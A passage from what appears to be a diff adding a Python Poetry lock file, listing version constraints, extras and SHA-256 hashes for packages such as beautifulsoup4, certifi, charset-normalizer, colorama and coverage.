"sha256:bdfc739baa03b880c2d15d0431b31c658ffc348e907fe197e54e0389dd59e11e"}, +] + +[package.dependencies] +colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""} +GitPython = ">=1.0.1" +PyYAML = ">=5.3.1" +rich = "*" +stevedore = ">=1.20.0" + +[package.extras] +test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)", "tomli (>=1.1.0)"] +toml = ["tomli (>=1.1.0)"] +yaml = ["PyYAML"] + +[[package]] +name = "beautifulsoup4" +version = "4.12.0" +description = "Screen-scraping library" +optional = false +python-versions = ">=3.6.0" +files = [ + {file = "beautifulsoup4-4.12.0-py3-none-any.whl", hash = "sha256:2130a5ad7f513200fae61a17abb5e338ca980fa28c439c0571014bc0217e9591"}, + {file = "beautifulsoup4-4.12.0.tar.gz", hash = "sha256:c5fceeaec29d09c84970e47c65f2f0efe57872f7cff494c9691a26ec0ff13234"}, +] + +[package.dependencies] +soupsieve = ">1.2" + +[package.extras] +html5lib = ["html5lib"] +lxml = ["lxml"] + +[[package]] +name = "certifi" +version = "2023.7.22" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2023.7.22-py3-none-any.whl", hash = "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9"}, + {file = "certifi-2023.7.22.tar.gz", hash = "sha256:539cc1d13202e33ca466e88b2807e29f4c13049d6d87031a3c110744495cb082"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.3.2" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, + {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, + {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, + {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, + {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, + {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, + {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, + {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, +] + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "coverage" +version = "7.3.2" +description = "Code coverage measurement for Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "coverage-7.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d872145f3a3231a5f20fd48500274d7df222e291d90baa2026cc5152b7ce86bf"}, + {file = "coverage-7.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:310b3bb9c91ea66d59c53fa4989f57d2436e08f18fb2f421a1b0b6b8cc7fffda"}, + {file = "coverage-7.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f47d39359e2c3779c5331fc740cf4bce6d9d680a7b4b4ead97056a0ae07cb49a"}, + {file = "coverage-7.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa72dbaf2c2068404b9870d93436e6d23addd8bbe9295f49cbca83f6e278179c"}, + {file = "coverage-7.3.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:beaa5c1b4777f03fc63dfd2a6bd820f73f036bfb10e925fce067b00a340d0f3f"}, + {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:dbc1b46b92186cc8074fee9d9fbb97a9dd06c6cbbef391c2f59d80eabdf0faa6"}, + {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:315a989e861031334d7bee1f9113c8770472db2ac484e5b8c3173428360a9148"}, + {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d1bc430677773397f64a5c88cb522ea43175ff16f8bfcc89d467d974cb2274f9"}, + {file = "coverage-7.3.2-cp310-cp310-win32.whl", hash = "sha256:a889ae02f43aa45032afe364c8ae84ad3c54828c2faa44f3bfcafecb5c96b02f"}, + {file = "coverage-7.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:c0ba320de3fb8c6ec16e0be17ee1d3d69adcda99406c43c0409cb5c41788a611"}, + {file = "coverage-7.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ac8c802fa29843a72d32ec56d0ca792ad15a302b28ca6203389afe21f8fa062c"}, + {file = "coverage-7.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:89a937174104339e3a3ffcf9f446c00e3a806c28b1841c63edb2b369310fd074"}, + {file = "coverage-7.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e267e9e2b574a176ddb983399dec325a80dbe161f1a32715c780b5d14b5f583a"}, + {file = "coverage-7.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2443cbda35df0d35dcfb9bf8f3c02c57c1d6111169e3c85fc1fcc05e0c9f39a3"}, + {file = "coverage-7.3.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4175e10cc8dda0265653e8714b3174430b07c1dca8957f4966cbd6c2b1b8065a"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0cbf38419fb1a347aaf63481c00f0bdc86889d9fbf3f25109cf96c26b403fda1"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:5c913b556a116b8d5f6ef834038ba983834d887d82187c8f73dec21049abd65c"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1981f785239e4e39e6444c63a98da3a1db8e971cb9ceb50a945ba6296b43f312"}, + {file = "coverage-7.3.2-cp311-cp311-win32.whl", hash = "sha256:43668cabd5ca8258f5954f27a3aaf78757e6acf13c17604d89648ecc0cc66640"}, + {file = "coverage-7.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10c39c0452bf6e694511c901426d6b5ac005acc0f78ff265dbe36bf81f808a2"}, + {file = "coverage-7.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4cbae1051ab791debecc4a5dcc4a1ff45fc27b91b9aee165c8a27514dd160836"}, + {file = "coverage-7.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12d15ab5833a997716d76f2ac1e4b4d536814fc213c85ca72756c19e5a6b3d63"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c7bba973ebee5e56fe9251300c00f1579652587a9f4a5ed8404b15a0471f216"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe494faa90ce6381770746077243231e0b83ff3f17069d748f645617cefe19d4"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6e9589bd04d0461a417562649522575d8752904d35c12907d8c9dfeba588faf"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d51ac2a26f71da1b57f2dc81d0e108b6ab177e7d30e774db90675467c847bbdf"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:99b89d9f76070237975b315b3d5f4d6956ae354a4c92ac2388a5695516e47c84"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fa28e909776dc69efb6ed975a63691bc8172b64ff357e663a1bb06ff3c9b589a"}, + {file = "coverage-7.3.2-cp312-cp312-win32.whl", hash = "sha256:289fe43bf45a575e3ab10b26d7b6f2ddb9ee2dba447499f5401cfb5ecb8196bb"}, + {file = "coverage-7.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7dbc3ed60e8659bc59b6b304b43ff9c3ed858da2839c78b804973f613d3e92ed"}, + {file = "coverage-7.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f94b734214ea6a36fe16e96a70d941af80ff3bfd716c141300d95ebc85339738"}, + {file = "coverage-7.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:af3d828d2c1cbae52d34bdbb22fcd94d1ce715d95f1a012354a75e5913f1bda2"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:630b13e3036e13c7adc480ca42fa7afc2a5d938081d28e20903cf7fd687872e2"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9eacf273e885b02a0273bb3a2170f30e2d53a6d53b72dbe02d6701b5296101c"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8f17966e861ff97305e0801134e69db33b143bbfb36436efb9cfff6ec7b2fd9"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b4275802d16882cf9c8b3d057a0839acb07ee9379fa2749eca54efbce1535b82"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:72c0cfa5250f483181e677ebc97133ea1ab3eb68645e494775deb6a7f6f83901"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cb536f0dcd14149425996821a168f6e269d7dcd2c273a8bff8201e79f5104e76"}, + {file = "coverage-7.3.2-cp38-cp38-win32.whl", hash = "sha256:307adb8bd3abe389a471e649038a71b4eb13bfd6b7dd9a129fa856f5c695cf92"}, + {file = "coverage-7.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:88ed2c30a49ea81ea3b7f172e0269c182a44c236eb394718f976239892c0a27a"}, + {file = "coverage-7.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b631c92dfe601adf8f5ebc7fc13ced6bb6e9609b19d9a8cd59fa47c4186ad1ce"}, + {file = "coverage-7.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d3d9df4051c4a7d13036524b66ecf7a7537d14c18a384043f30a303b146164e9"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f7363d3b6a1119ef05015959ca24a9afc0ea8a02c687fe7e2d557705375c01f"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2f11cc3c967a09d3695d2a6f03fb3e6236622b93be7a4b5dc09166a861be6d25"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:149de1d2401ae4655c436a3dced6dd153f4c3309f599c3d4bd97ab172eaf02d9"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:3a4006916aa6fee7cd38db3bfc95aa9c54ebb4ffbfc47c677c8bba949ceba0a6"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9028a3871280110d6e1aa2df1afd5ef003bab5fb1ef421d6dc748ae1c8ef2ebc"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = 